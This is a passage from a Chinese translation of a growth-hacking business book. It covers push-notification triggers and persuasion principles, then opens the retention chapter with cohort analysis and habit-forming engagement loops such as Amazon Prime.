Products）一书的作者尼尔·埃亚尔用接电话的例子清楚地说明了这两个因素之间的相互作用。电话铃响，你接还是不接取决于电话是否在你手边及你是否有空这两个因素，也取决于你是否认识对方、是否想和他/她说话、是否需要从他/她那里获得信息等这类动机因素。显然，这个例子中触发物是电话铃声。如果电话铃响时你既有动机又有时间，那么你就会接听电话。\n因为触发物的侵入性很强，所以在使用时需要十分谨慎而且要按照严格的步骤进行试验。更为复杂的是，还得遵守发布触发物的平台所制定的规则。例如，苹果手机的移动推送规则就与安卓手机不同。苹果用户需要自己设置是否接受推送，而安卓系统会自动设置为默认同意。消费者保护法中也确立了邮件发送方面的规则，例如美国的《2003年反垃圾邮件法》。\n最后，对于需要用户选择是否同意接收的推送，触发物的影响力会根据同意人数的不同而大不相同。对不同的产品和产品类别而言，同意率有很大的差异。例如，根据移动端营销平台Kahuna的统计，对于移动推送来说，同意率最高的是像拼车这样的服务App，高达80%，而最低的是新闻和媒体App，低至39%。\n图6–3 iOS上同意接收推送的用户比例（按App行业划分）\n资料来源：Kahuna\n公司常犯的一个最大错误是迫不及待地要求用户选择同意接收诸如推送和邮件这样的触发物，它们通常会把它作为安装或者使用产品的一个必要的步骤。这样做只会吓跑用户，因为他们不清楚或者只是模糊地知道自己为何需要这些信息。许多公司还为了提高产品使用方面的指标而滥用触发物，这样做可能会让激活数据在短期内看起来很漂亮，但这对于推动用户长期使用App毫无用处（实际上，人们会停止使用App，关闭推送甚至删掉App，从而产生负面作用）。\n使用触发物有一个很重要的经验：接触用户的动机应该是提醒用户存在一个对他们明显有价值的机会。例如，商店App团队可以通过推送告知用户他们在购物清单中收藏的商品正在降价，或者现在有免运费的优惠活动，或者超市正在开展感恩节促销，这几类触发物对用户来说就是有价值的，因为它们契合了App的核心价值。但是，如果每周都向用户发送对他们来说不是特别有用的新产品或者产品功能介绍，就会很快惹怒用户，甚至令许多人停止接收推送或者直接把App从手机上删除。\n试验不同的触发推送时留一部分用户作为对照组十分重要。对照组不参与任何试验，这既可以确保你能比较新触发物的成效，还能与未使用任何触发物的情形进行比较。\n一些可用于试验的常见推送触发物类型如下。\n• 创建账户——鼓励下载App或者访问零售网站的用户创建账户。\n• 购买通知——鼓励用户利用短期折扣购买商品。\n• 重新激活行动——鼓励那些有一段时间没有访问网站或App的用户再次回来。\n• 新功能通知——分享产品升级的消息。\n• 顶级用户奖励——让那些大量使用产品的用户知道他们很特别，鼓励他们更多地使用产品，和产品建立更加紧密的联系。\n• 行动或者状态改变——如朋友采取了一个行动或者购物车中某件商品的价格发生了变化。\n当然，你还可以设计自己的触发物类型。了解福格的触发物类型分类可以帮助你想出新点子。福格根据用户动机和能力水平将触发物分为三个基本类型：协助型触发物（facilitator trigger），用于帮助那些动机很强但能力很低的用户采取行动；信号型触发物（signal trigger），用于帮助那些动机和能力都很强的用户沿着正确方向前进并鼓励他们重复行动；刺激型触发物（sparktrigger），用于刺激那些能力很强但动机不足的用户采取行动。许多邮件和移动推送都属于刺激型触发物，但它们不应该是你唯一考虑的刺激型触发物。\n例如，如果用户在结算页徘徊很久却始终没有下单，那么商店App团队就可以设计一个协助型触发物，询问用户是否愿意使用之前用过的信用卡来进行支付；也可以试验信号型触发物，比如在App屏上发信息告知用户这次购买帮他们节约了多少钱；还可以尝试刺激型触发物，比如有些用户登录App后购物车一直是空的，这时就可以给他们最喜爱的商品打一个很大的折扣，以刺激用户完成关键的首次购买。\n在设计触发物试验时，罗伯特·西奥迪尼在他写的《影响力》里提到的6个说服原则同样具有很大的参考价值。我们前面已经提到过其中一个原则，即一旦人们采取了某个行动，都会使他们更倾向于再次采取那个行动。以下是完整的6个原则：\n• 互惠——人们更有可能因为礼尚往来而去做一些事情，无论之前别人给你提供了何种帮助，而你现在需要给予别人某种帮助。\n• 承诺和一致性——已经采取过行动的人更可能再次采取行动，无论行动的大小或者内容发生了什么变化。\n• 社会认同——当感到不确定时，人们会先看别人怎么做，然后自己才做决定。\n• 权威——人们会参考权威人士的做法来决定自己采取什么行动。\n• 好感——相比自己不喜欢或者无感的公司或人，人们更愿意和自己喜欢的公司或人做生意。\n• 稀缺——当人们担心自己会错失良机时就会采取行动。\n触发物可以基于互惠原则，比如给用户提供可下载的白皮书或者免费配送这样的免费资源，HubSport的网站分析工具就是一个范例。奥巴马的总统竞选团队将竞选网站上的赞助请求从原来全部放置在一个页面改为一系列小的步骤，这就利用了一致性和承诺原则。完成了第一个小步骤之后，用户更愿意继续完成剩下的步骤。这一做法使用户捐款比例上升了5%，增加了数百万美元的竞选资金。\n触发物也可以利用权威原则。比如展示有影响力的人物或者企业已经采取了他们鼓励用户采取的行动，当然这也是名人广告背后的原理。使用过服务的知名企业的标志或者有名望的人士所做的证言也可以成为触发物，因为它们可以使用户相信他们知道并且尊重的人或者公司做出了同样的决定。\n许多触发物都使用了好感原则，比如Airbnb用你的朋友的名义给你发送推荐信息，或者像Nasty Gal的创始人索菲亚·阿莫鲁索跟踪了解哪些模特最受用户喜爱（也就是说，谁卖出的商品最多），然后让这些模特去推销销量不高的商品。\n我们肯定都收到过基于稀缺原则的推送，比如提醒我们降价活动马上就要结束、我们正在考虑要不要去的演出或者演唱会门票所剩不多，或者我们正在考虑预订的航班只剩下几个空位。缤客网（Booking.com）就充分利用了这个策略。它向所有的网站访客显示在同一个搜索区域内正在积极寻找酒店房间的人数以及该地区的剩余房间数。同样，当库存很少的时候亚马逊就会向浏览者显示所剩商品数量，刺激用户立刻购买。\n最后一个（也是最强大的）触发物类型是内驱型触发物，也就是用户不自觉产生的内在触发物。这些触发物是人们的核心习惯，而且能够激发长期使用。基本上没有人需要外部触发就会自发浏览脸谱网或者Instagram，这是人们自觉自愿的行为。同样，我们会定期到自己喜欢的服装网站去查看是否有新品或者存货、每天早晨浏览新闻或者在上班路上总会在一家便利店停下买一杯咖啡，无论你的产品是什么，这些习惯是你与用户之间强大纽带的基石。后面几章我们还会讨论到这点以及与之相关的更加微妙的问题。\n结论：一定要试验触发物。因为它们可以产生很棒的效果，但试验时一定要用心思考它们将如何服务客户，否则它们不仅不能激活用户，帮助你建立良好的客户关系，反而会赶跑客户。\n说到建立客户关系，我们接着进入用户体验的下一步，来讨论增长团队如何利用增长黑客过程在用户留存方面取得成功。\n净推荐值（net promoter score），又称净促进者得分，是一种计量某个客户将会向其他人推荐某个企业或服务可能性的指数。——译者注\n在网站分析中，流量源（traffic sources）指的是网站访问的发起者。通常是搜索引擎、来源网站或电子邮件链接。也称为“获取源”（acquisition source）。 ——译者注\n销售勘探（sales prospecting）指为产品或服务寻找新客户的行为，通常由销售人员完成。——译者注\n加拿大邮编采用6位数字和字母混合组成的方式，而美国基本的邮政编码是由5位数字组成。——译者注\nAdRoll, “What Is Retargeting,” 2016, https://www.adroll.com/getting-started/retargeting;Andrew Chen, “Losing 80% of mobile users is normal.”\nIbid.\nNeil Patel, Talk at Search Engine Journal Summit, Santa Monica, California, February 24,2015, retrieved at: http://www.slideshare.net/SearchEngineJournal/1-neil-patel-final.\nIbid.\nGrowth@ Airbnb, “Driving User Growth at Airbnb, April 11, 2016, retrieved at: https://www.youtube.com/watch?v=03mc78lKOwI.\nJosh Elman,《三个增长黑客策略》。\nJohn Egan, “Measuring for Engagement: Understanding User Gains, Losses & Levels of Interaction,” August 12, 2014, retrieved at: https://www.youtube.com/watch?v=NghOllGvv4E.\nNeil Patel, Talk at Search Engine Journal Summit, slideshare.net/SearchEngineJournal/1neil-patel-final.\n“How Adobe converted free trial downloads into satisfied customers,” Bunchball(blog)2016, http://www.bunchball.com/customers/adobe.\nAdam Kleinberg, “Brands That Failed with Gamification,” iMedia, July 25, 2012,imediaconnection.com/articles/ported-articles/red-dot-articles/2012/jul/brands-that-failed-with gamification/.\nGabe Zichermann, “Cash is for SAPS,” Gamification(blog), October 18, 2010, http://www.gamification.co/2010/10/18/cash-is-for-saps/.\nJen Wieczner,《星巴克卡中的钱比一些银行还要多》，《财富》杂志，2016年6月10日。\nBJ Fogg’s Behavior Model, “What Causes Behavior Change?” http://www.behaviormodel.org.\nAndrew Chen blog, “New Data Shows Up to 60% of Users Opt-Out Of Push Notifications(Guest Post),” http://andrewchen.co/why-people-are-turning-off-push/.\nJohn Egan, “Long-term Impact of Badging,” John Egan blog, February 13, 2015, http://jwegan.com/growth-hacking/long-term-impact-badging/.\nAdam Marchick and Thue Madsen “How to Craft Push Notifications That Users Actually Want to Receive,” Kissmetrics blog, 2016, http://grow.kissmetrics.com/webinar-93.\nB J Fogg’s Behavior Model ‘Triggers Tell People to ‘Do It Now!’ ” , behaviormodel.org/triggers.html.\nKyler Rush, “Optimization at the Obama Campaign: A/B Testing,” Kyler Rush Blog,December, 12, 2012, http://kylerush.net/blog/optimization-at-the-obama-campaign-ab-testing/.\n第七章\n 留存：唤醒并留住用户\n彼得·德鲁克这位富有传奇色彩的管理学家在许多年前曾说过一句名言：商业的目的在于创造和留住顾客。虽然没有人质疑这个著名的商业信条，但实际上大多数公司的顾客流失率——新用户流失的比例——都高得可怕。\n这很可悲，因为无论对于哪种类型的公司来说，高留存率一般都是实现高利润的决定性因素。我们曾在第四章简单提过，就职于贝恩公司的弗雷德里克·瑞克赫尔德有一项研究受到广泛引用。这个研究表明，用户留存率每提高5个百分点，利润就会提高25~95个百分点。反过来说，这意味着用户流失将会带来巨大的损失。原因之一是获取新用户的成本太高，这一点我们已经在第五章中讲过了。而且现在争夺优质在线平台的竞争越来越激烈，这导致广告成本不断飙升。在吸引新用户上的先期投入越多，每流失一位用户造成的损失就越大。所以不管是从收回昂贵的广告成本这个角度还是从防止用户倒向竞争对手这个角度来看，留住用户都显得至关重要。\nHomejoy是一家提供家庭清洁服务的创业公司，曾经拥有光明的前景，还从硅谷最一流的投资人那里募集到6 400多万美元的资金，但低留存率却令它陷入危机。尽管Homejoy通过强势的促销折扣战略吸引了数量庞大的初始客户，但由于它没能兑现承诺，导致用户将它的服务评价为“不靠谱”。此外，许多用户无法接受服务收费从第一次的促销价陡增到正常价。结果，只有15%~20%的用户预订了后续服务。其间，Homejoy竞争对手的留存率是它的两倍。雪上加霜的是，公司在用户获取上耗资不菲，最后，高额的获取成本和低留存率将它迅速拖垮了。\n相比之下，亚马逊则树立了强劲留存的黄金标杆。它的订购计划Amazon Prime在留存面大获成功，这主要归功于它的覆盖数千种商品的两日免费配送服务和许多其他的附加优惠，比如亚马逊影音和音乐流服务。73%的免费试用用户成为付费用户，而且，第一年订购Prime的用户中第二年续订的比例高达91%。更令人惊叹的是，用户加入Amazon Prime的时间越长，留存率就越高，那些进入第三个年头的用户续订率达到了前所未有的96%。\n留存的复合价值\n留住用户的时间越长，从他们身上获得更多收益的机会就越大，这一点无须赘言。因为你既可以通过出售更多商品或服务来盈利，也可以通过持续的用户续订来盈利，还可以靠增加广告收入来盈利，因为你的庞大的忠诚用户群对广告主有很高的价值。Amazon Prime会员的消费额是非Prime用户的两倍还多，了解了这一点就不难想象高留存率为何能带来复合式的盈收增长。事实上，一些分析人士认为，如果没有Amazon Prime的话，亚马逊将无法实现盈利。\n每位用户带来的平均收益增加后，你便可以将更多资金用于增长投资，从而创造一个良性循环。这是因为强劲的留存不仅可以创造更高的当期盈利，还可以让你对未来的盈利能力更有信心。每位亚马逊用户带来的收入很稳定，这让公司可以投入大量资金来扩大Prime计划，比如，在他们的影音流服务中加入原创节目。留住用户的时间越长，你就越了解他们的需求和欲望，也就能为他们提供个性化的服务和广告，最后自然能从他们身上赚更多钱。亚马逊推出Prime时，一些分析人士认为它在两日免费配送以及Prime涵盖的商品折扣方面花费太高，所以这个计划不具有可持续性。但亚马逊看到有如此多的Prime会员续订，而且他们的消费额远远超过非会员用户的平均消费水平，所以公司认为这个计划的盈利能力将会非常强大。\n高留存率的另外一个好处是可以让你的口碑营销和病毒营销收到更好的效果，因为用户使用产品的时间越长，他们谈论它，甚至向朋友和其他人推荐它的可能性就越大。\n迅速锁定最佳做法\n随着用户获取成本不断增加，竞争日益激烈，公司尽早意识到自己在用户留存方面存在的问题并采取措施防止用户流失就显得尤其重要。增长黑客就是实现这一目标的完美途径。现在我们以食品商店App团队为例迅速看一下如何进行操作。假设App团队密切跟踪用户数据后发现，大量用户使用App大概一个月后便出现使用下滑的情况（对于移动App来说这种情况再熟悉不过了），那么团队应该从哪里着手让更多用户继续活跃地使用App呢？是否应该向他们发送更多移动推送把他们吸引回来？是否应该向他们提供畅销商品App专享价和优惠信息？也许团队应该设计一些像购物清单这样大获成功的新功能来提高App的使用率。这三种方法可能都行得通，但是它们的成本都很高，而且，团队必须十分小心，不能让过多的促销信息或者触发物惹烦用户。在前一章我们讲过，增加移动推送可以刺激短期使用，但是，一旦人们厌烦这种干扰，触发物的魅力便会迅速消失。应用内促销可能会提高App忠诚用户的消费额，却不能覆盖到团队希望重新激活的其他用户，因为这些人并不怎么使用App。设计新功能成本很高，而且这样做也不能保证用户就会更频繁或者更持久地使用App。\n增长黑客法可以让团队从这些想法中迅速选出一个来优先进行测试并快速得出结论，以明确下一步行动。食品商店App团队可以简单快速地测试上面的三种方法。邮件通知和应用内促销很容易就能办到。至于增加新功能，则可以通过开展用户调研来了解新功能对用户是否有吸引力，或者可以快速设计出产品原型并在一批用户中进行测试。团队可能决定首先测试增加邮件推送。几周后他们可能发现，每周增加一条移动推送只能唤醒10%的沉睡用户。但如果每周增加两条推送的话，这个比例就会增加到35%。于是，他们可能从下周开始向所有沉睡用户多发两条推送。与此同时，用户对新功能反响热烈，于是团队说服产品研发部门加快开发进度，这样一来，新功能上市后就能很快改善留存。\n当然，这只是一个开始，因为要提高留存必须不断设计和测试增长手段。这也是我们本章要讨论的话题。\n靠什么留住用户\n在我们深入讨论如何利用增长黑客过程来改善留存之前，有必要先回过头去简单温习一下如何建立用户的忠诚，让用户成为“回头客”。\n我们曾在第二章中讲到，留住用户最根本的一点是提供可以持续满足用户需求或者令他们感到愉悦的优质产品或服务，让产品或服务对他们而言不可或缺。我们还提到，留存曲线是否平稳是衡量产品—市场匹配的最好标准。\n图7–1 稳定的留存率Vs.下滑的留存率\n现在让我们重新回到破解留存这个问题上。我们将仔细探讨增长团队如何首先确保留存曲线是平稳的，或者更理想的情况是，如何使留存曲线在基准线的基础上逐渐上扬。首先要强调的一点是，尽管公司的留存曲线一开始很平稳，但是出于各种原因，曲线可能下滑，这可能是因为市场上出现了竞争产品，或者竞争对手推出了新功能、启动新宣传从而抢走了用户。用户流失还有一个关键的原因，公司没有采用最佳的沟通方式与用户沟通，比如，没有传达正确信息，没有把握好传达频率，导致用户不能马上想到使用App并最终被竞争对手抢走。公司失败还有可能是因为没有把握好建立用户忠诚的机会，没能让用户养成有规律的使用习惯或者让他们强烈感到自己受到重视并得到理解。又或者，公司提供的产品或服务已经不能满足用户新的迫切需求，或者用户找到了一种更方便也更令他们满意的方式来满足这种需求。\n增长团队完全有能力发现留存率下滑的早期迹象，但决不能满足于此。团队应该利用快节奏试验过程不断提高留存率，就像亚马逊提高Prime会员的留存率那样。平稳的留存曲线绝非是留存的终极目标。印象笔记将下面这幅图称为微笑图。从图中可以看出，用户使用印象笔记的时间越长，他们继续使用它的可能性就越大。\n图7–2 印象笔记的“微笑图”\n印象笔记的留存图之所以看起来像微笑，本质上是因为这个服务的实用性会随着时间的推移而逐渐增强。用户使用印象笔记的时间越长，产品的核心价值就越大，因为对这个笔记软件而言，用户在里面存储的信息越多，他们回来查看想法和笔记、添加新内容的可能性就越大。许多成功的数字产品的留存率都会随着时间的推移而提高。比如Instagram，用户发的图片越多，关注的对象越多，Instagram的价值就越大。又比如QuickBooks这样的财务管理软件，公司在上面存储的财务数据越多，它的价值也就越大。可能你还记得，这种价值叫作“储存价值”。\n产品具有储存价值的公司在逐步提高留存率方面具有优势，但是，没有任何公司可以天真地以为用户会一直活跃地使用自己的产品，即使是那些具有先天优势的公司也不能这样。公司必须脚踏实地地努力改进产品或服务。想想脸谱网从诞生到现在推出了多少新功能和服务，又设计出了多少不同的推送和提示来让你一直使用这个服务。为了留住更多用户、让他们更积极地使用产品，脸谱网做了一系列努力，比如增加直播和上传视频，提醒用户分享他们最喜欢的球队新闻，告知用户他们与朋友在脸谱网上的周年纪念日到了，等等。任何公司都可以而且应该努力增加产品给用户带来的价值并逐渐提高用户参与度。\n留存的三个阶段\n不同的留存阶段需要采用不同的留存方法。前面提到过的布莱恩·鲍尔弗强调，留存可分为三个阶段：初期、中期和长期。留存初期非常关键，因为这个阶段将决定用户是继续使用或者购买产品或服务还是使用一两次之后就“沉睡”。因此，初期留存率可以作为衡量产品黏性的一个指标。留存初期并没有一个统一的时间长度。对移动App来说留存初期可能是一天，对于社交网络来说可能是一周或者两周，对SaaS产品来说可能长达一个月甚至一个季度，对于电子商务公司来说留存初期通常是90天。你应该根据产品的行业标准以及你对用户行为的分析来决定产品的留存初期应该多长。\n留存初期有一个优势。研究表明，这一阶段用户从产品中获得的价值越大，他们长期使用产品的可能性就越大。而且通常这一阶段有许多改善用户体验的机会，这也是HubSpot创建增长团队的主要动机。HubSpot的联合创始人和技术总监达米什·沙阿（Dharmesh Shah）解释说：“当初我们决定启动增长团队是因为我们觉得在试用/用户引导过程中还有很多唾手可得的改进空间。”我们在第六章介绍过HubSpot团队为改善用户引导所做的努力，而且留存初期本质上是激活阶段的延伸。你可以将它想成是为了确保用户真的活跃，而不是看一眼之后就对产品失去兴趣。\n把这一阶段看成是激活过程的一部分可能更合理，但是，这样区分还是有意义的。对于许多产品来说，新用户需要在特定时间段内重复使用产品并从中获得新体验达到一定的次数才能强化他们对产品价值的认识。例如，Pinterest通过分析用户数据发现，如果新用户在注册后的两周内访问网站不足三次，那么他们很可能弃用产品。这就意味着，增长团队需要努力使用户在这一时间段内至少访问网站三次。任何在Pinterest上注册过的人都知道，Pinterest在用户完成注册后是如何大张旗鼓地鼓励他们再次访问的。\n一旦跨过留存初期，用户就进入留存中期阶段。这时产品带来的新鲜感开始退去，要留住中期用户，增长团队的核心任务是让使用产品成为一种习惯，让用户逐渐从产品或服务中获得满足感，这样无须鼓动用户也会继续使用你的产品或服务，因为这已经成为他们日常生活的一个组成部分。Snapchat的用户在吃早饭或者吃完晚饭时常常翻阅朋友的动态，亚马逊用户想买东西的时候总会第一个想到去亚马逊上搜索，而根本无须鼓动。后面几节我们会介绍一些习惯养成方面的心理学知识，还会介绍一些策略来帮助增长团队提高初期留存用户转为习惯用户的比例。\n最后我们将讨论长期留存的策略。在这一阶段，增长团队的作用是确保产品继续为用户带来更大价值。团队必须试验各种方法不断完善产品，帮助产品开发团队决定升级现有功能或者推出全新功能的时机。这个阶段最关键的地方在于让用户不断重新认识到产品的不可或缺性。\n什么是好的留存\n在深入讲解如何提高各阶段留存之前，我们先要讨论增长团队需要跟踪哪些数据以及如何通过分析数据来寻找可尝试的增长手段。首先，不同的公司衡量留存的方法可能不同。这是因为用户购买产品或者使用服务的频率在很大程度上取决于产品或服务本身的性质。用户购买一些东西频率很高，但购买另一些东西频率却很低。脸谱网希望用户每天都使用它的服务，但苹果却明白，已经购买过iPhone的客户接下来几年内可能都不会再买（那些新款一上市马上就去买的“果粉”除外）。所以苹果只能等三年之后甚至更长的时间才能知道是否留住了某个iPhone客户。正因为如此，苹果逐渐发展为不仅向客户提供设备，还提供服务。这是一个了不起的增长策略，它使苹果公司得以在新产品发布的间歇更大地挖掘留存用户的价值。购房者在Zillow上搜索房源信息的频率也与食客在Yelp上搜索餐馆推荐的频率不同。同理，买床垫的用户与买鞋子的用户购买频率也不同。\n电子商务领域最基本的留存指标是用户的重复购买率，比如用户每月购买产品的次数。许多电商企业计算90天内的重复购买率。产品不同计算重复购买率的时间单位也不同。因为大多数人每周至少去一趟超市，所以对于食品商店App团队来说可能需要关注短期内的购买频率，比如，大概10天购买一次才是健康留存的标志。\n在设计留存指标时需要将你的计算结果与市场调研得出的同类产品或服务的最高留存率进行比较，或者与成功的竞争对手的留存率进行比较。这些基准可以告诉你用户留存是正常还是比预期更好或者更差。像Airbnb这样的公司永远不能指望用户使用率和留存率达到社交网站的水平，所以选择恰当的基准对于准确判断留存情况至关重要。行业出版物、贸易协会以及诸如弗雷斯特（Forrester）和高德纳（Gartner）这样的研究公司都能够提供不同行业的具体数据。\n到目前为止，我们讨论的都是用户留存的情况，它的反面，也就是每周或每月流失的用户数量也同样关键。流失率本质上是留存率的对立面。比如，好市多（Costco）会员的留存率是91%，那么它每年的流失率就是9%。一定程度的流失是不可避免的，即使最受用户喜爱的产品也是如此。但是，对于所有公司来说，流失率当然越低越好。\n确定并跟踪群组\n确定了留存的衡量指标后，下一步就是更细致地筛查留存数据。可以利用群组分析方法来确定不同用户群的留存率，这可以让你更加深入地解读数据，找出用户留下或者离开的原因。\n你可以将用户细分为不同类型的群组。最基本的做法是按照获客时间进行划分，也就是按用户完成注册或者第一次购买的日期来分类。通常是按月份分组，但正如前面所讲，对于某些类型的公司而言，按周甚至按天分组可能更有意义。这听上去十分烦琐，但它可以让团队发现留存方面存在的问题，所以一切辛苦都是值得的。按照获客时间来跟踪用户可以让团队掌握用户群的整体状况。随着营销力度的加大，现在获取的用户留存率是否与之前的用户一样高？如果公司成功地吸引大量新用户，这表明销售或者注册进展很顺利。这种情况下，如果不按获客时间来跟踪留存就不容易发现隐藏的流失。\n利用群组分析还可以察觉问题的苗头。比如，增长团队可能发现，某次营销活动或者一年中某个时间段内获取的用户流失情况尤其严重。也许他们发现，前两个月新用户很活跃，但从第三个月开始每个群组都有很多人开始流失。\n为了说明如何发现问题以及如何利用群组分析获得宝贵信息，找出流失原因，我们来看一个视频流服务的例子。这个视频流服务的用户按月付费，并且可以在任意月份取消订购。公司决定按照新用户注册的月份来对用户进行分类。如表7–1列出了这些数据。还要提醒一句，按照群组显示留存数据的电子表格读起来非常困难，所以将各个群组的数据绘制成留存曲线十分有帮助，这样很容易就能发现值得深入调查的数据规律。\n表7–1 群组跟踪工作表（2015.01—10）\n资料来源：克里斯托弗·詹兹（Christopher Janz）\n表格的左侧是每月注册的用户数，也就是我们要一直跟踪的群组。表格上半部分记录的是各个群组每月留存下来的用户绝对数。可以看出，1月注册的150名新用户中，留存到2月的有140人，3月130人，这之后每月的留存人数以相对稳定的速度递减，7—10月该群组继续使用服务的人数维持在95人左右。再往后你会发现，2月和3月注册的用户也显示出相似的留存比例。\n但是，4、5、6这三个月发生了急剧变化。最明显的是每月新增用户的人数从之前的100多人陡增到6月的450人。如果公司的增长团队只是以获取新用户为目标，那么他们就该欢喜了，因为他们成功地提高了每月的注册量。但是，仔细观察你会发现，4、5、6月这三个群组的留存情况没有前面几个月好。数据显示，注册当月一过这三个群组的用户数量就开始急剧下滑，而且留存数量也没有像1—3月那样表现出任何稳定的迹象。\n为了让这些数据在“总览图”中更加一目了然，团队可以利用群组图表中的数据绘制留存曲线图。为了简化问题我们只绘制两个群组——1月群组和5月群组，但其实增长团队通常会同时绘制所有月份的留存曲线。从图7–3可以看出这两条曲线差别很大，当1月的曲线开始趋于平稳时，5月的曲线还在继续下行。\n图7–3 群组比较反映出巨大差异\n很明显，增长团队可以从这些数据中解读出一些重要信息，弄清楚这三个月里究竟发生了什么。要调查清楚用户流失的原因，团队需要更加深入地分析这几个问题群组的数据。\n出现这种情况可能是因为公司新一轮的广告宣传吸引了大量新用户，但公司提供的产品却并不适合这些用户。也有可能是因为公司提供了很大的广告促销折扣，但价格恢复正常后大量新用户很快就弃用产品。还有可能是因为公司决定使用新渠道来进行广告宣传，以便更好地针对特定人群投放广告，比如针对在家带孩子的女性。可能广告的效果很好，一下子就赢得了妈妈们的喜欢，但是，当她们和自己的孩子一起看了几部电影后发现里面可选的电影并不是十分丰富，于是她们取消了订阅。意识到广告宣传和留存率下降之间存在某种关联之后，增长团队就可以利用这个宝贵信息来决定尝试哪种试验。显然，这些妈妈成为潜在新用户的可能性很大，但是在向她们展开第二轮广告攻势之前公司应该在电影库中增加她们爱看的电影，或者用更好的方式突出显示已有的电影资源，让用户一注册就能看到有哪些电影可以选择。或者，团队一时还无法看清用户流失的真正原因，这时他们就应该基于这些观察针对流失用户开展问卷调查，询问她们为何取消订购。团队可以通过一些问题来验证假设：可选择的电影有限的确是用户取消订购的原因。\n按获客月份对用户进行分类只是群组分析的第一步。你还需要创建其他类型的群组，例如按照获客渠道来划分群组，如用户推荐计划群组和付费广告群组等。还可以根据用户访问网站的次数或者购买次数来分类。对于视频流服务增长团队而言，还可以按照用户在第一个月内观看节目的数量或者电视剧的集数，或用户在第一个月内观看视频的天数来分类。用这种方式分析数据可以让增长团队找到使用频率与留存率之间的关联，同时还能帮助他们找到可以带来更高留存率的电影或者视频节目。\n不同的商业模式，比如电子商务，可能有不同的群组划分方式。假设我们的食品商店App团队根据用户注册后第一个月内购买商品的次数来划分群组，如第一个月内使用App下单一次、下单两次、下单三次的群组。通过连续6个月跟踪不同群组的留存情况，团队可能发现，每月下单三次及三次以上的群组留存率远远高于其他群组，所以，完成注册后第一个月内购买三次就是一个拐点。这个发现让团队将试验重心放在增加用户注册后第一个月内的购物次数上。\n值得注意的是，使用群组或者上面介绍的其他方式来跟踪留存需要强大的分析能力，这是像谷歌分析这样的基础网络分析工具无法做到的。如果你已经建好用户数据库，能够根据适当的变量对用户进行分类，那么数据分析师就可以相对容易地整合这些报告。你如果缺少一位专职的数据分析师，那你就可以考虑使用像Mixpanel，Kissmetrics或者Amplitude这样能分析庞大数据的分析工具。尽管谷歌分析新近增加了群组分析功能，但是这些工具更强大，能够让你完成像上面那样更精细的分析，而且它们使用起来也很简单。\n破解初期留存\n分析完群组数据，找到初期留存中的流失节点并且通过调研确定了流失的原因，增长团队就可以开始试验破解的方法。用于改善初期留存的增长手段与改善激活的增长手段本质上是一样的，因为前者其实是后者的一种延伸。不断优化新用户体验，让用户尽可能快地体验到产品核心价值是这一阶段最重要的两大策略。使用移动推送和邮件这样的触发物也能够有效强化用户对产品实用性和价值的认识。但是，正如我们在上一章中所讲，留存初期增长团队不应该只想着靠触发物来唤回用户，团队还应该关注产品的用户体验以及进一步改进产品这两个方面（可以回到第六章复习一下这些策略）。\n让用户养成使用习惯\n前面讲过，留存中期的核心目标是让用户养成使用产品的习惯，从而巩固用户对产品的忠诚度。对于一些产品而言，这意味着让用户习惯每天或者每周使用产品，但对另一些产品而言，用户使用产品的频率可能低到不足以称之为“习惯性”。这里，“习惯性”这个词与使用频率无关，只是单纯地用它来表达当用户想买或者想使用某一类产品或服务时，他们会第一个想到你而不是你的竞争对手，换句话说，他们是忠诚于你的。\n让用户形成习惯关键在于让他们确信继续使用你的产品或服务能带给他们持久的回报。在《上瘾》这本书中，消费者行为专家尼尔·埃亚尔介绍了最富吸引力的产品是如何做到这一点的。尼尔在他的上瘾模型（见图7–4）中描述了这个过程，这在增长黑客中被称为参与回环（engagement loop）。我们在激活阶段讨论过外部触发物，如移动推送、邮件以及App内提示等，这里它们又派上了用场。这些提示可以促使用户采取行动，从而触发强大的参与回环，让用户形成习惯。增长团队应该找出触发物的最佳使用数量、方法和频率，以创造并强化用户习惯。\n图7–4 尼尔·埃亚尔的上瘾模型\n要明白习惯是如何形成的，可以想一想人们去健身房健身的心理。人们一开始决定要保持身材时往往需要外部刺激来帮助他们完成健身的心理建设，比如在日历上勾画日期或者坚持完成与教练或朋友定下的锻炼计划。但一旦人们从健身中获得足够多的回报——感觉身体更健康、发现自己肌肉更紧实、体重下降等——许多人就不再需要这种外部提示了。人们吃早饭的时候不时地刷脸谱网，下班回家的途中在Instagram上发照片或者到Yelp上找和朋友见面吃饭的地方，这些都涉及同一个基本的过程。吃早餐、开车回家或者选餐馆这些行动成为内在的、下意识的触发物：其他的提醒都是多余的。\n亚马逊的Prime计划就是培养用户习惯的典范。你也许还记得，许多分析人士料定这个计划会失败，因为免费配送成本太高，他们认为亚马逊将难以为继。了解了上瘾模型后你再去看Prime计划的本质就不难理解为什么这些人错了。首先，Prime会员每次购买Prime计划内的商品就能获得两个重要并且诱人的回报——免费配送省下的钱以及两日内配送带来的即刻满足感。此外，每次用户在亚马逊上购物都是在证明他们当初花99美元注册Prime是明智的，对用户而言这也是一种回报。会员每次看到购物省下的配送费（而且通常Prime商品在价格上也有优惠），他们就会对自己说，看吧，花99美元很值，帮我省了这么多钱。亚马逊订单系统负责人维贾伊·拉文德兰告诉《一网打尽》（TheEverything Store）的作者布拉德·斯通，事实上，订购费的意义“绝不仅仅是99美元。它真正的意义在于改变人们的心理，让他们不去别的地方购物。”确实，Prime计划在创造习惯方面如此成功，一篇刊登在美国《商业周刊》（Businessweek）上的文章指出，亚马逊预计需要两年时间才能实现这个计划的收支平衡，但事实上它只用了不到三个月就做到了。\nAmazon Prime的参与回环很明确，而且重复使用还能不断强化循环，这也是Prime如此成功的原因。当然，这个模式并非对所有人都适合。增长团队应该根据产品的核心价值绘制自己的参与回环，然后不断衡量、监测和优化循环。通过分析数据并且试验能给用户带来最大回报的触发物，团队就可以为自己的产品找到创造习惯的方法。比如，视频流服务的增长团队可以衡量并比较促进用户发现新节目和促进用户看完正在看的节目这两类触发物哪个更有效。\n一个对大多数类型的产品都适用的原则是：提升回报在用户眼中的价值可以带来更大的留存。要让产品或者服务更易于形成习惯，增长团队应该试验向用户提供各种各样的回报，并鼓励他们通过行动来获取回报。用户采取的行动越多，回报越大，他们眼中看到的回报价值也就越大。团队应该进行群组分析，找出哪些用户最热衷于使用产品，他们使用最多的是哪些功能，哪些功能带来最大价值的回报，创造最高的留存。团队还应该找出那些还不够活跃的用户，通过给他们提供更有吸引力的回报来激励他们更多使用产品。\n例如，视频流服务团队可以根据用户的观看时间将他们分为不同群组。分析显示，最活跃的一群用户一次会连续看几集节目，换句话说，他们会“刷剧”。网飞就充分利用了这种新的观看习惯。这一发现可能让团队开始考虑如何通过鼓励用户刷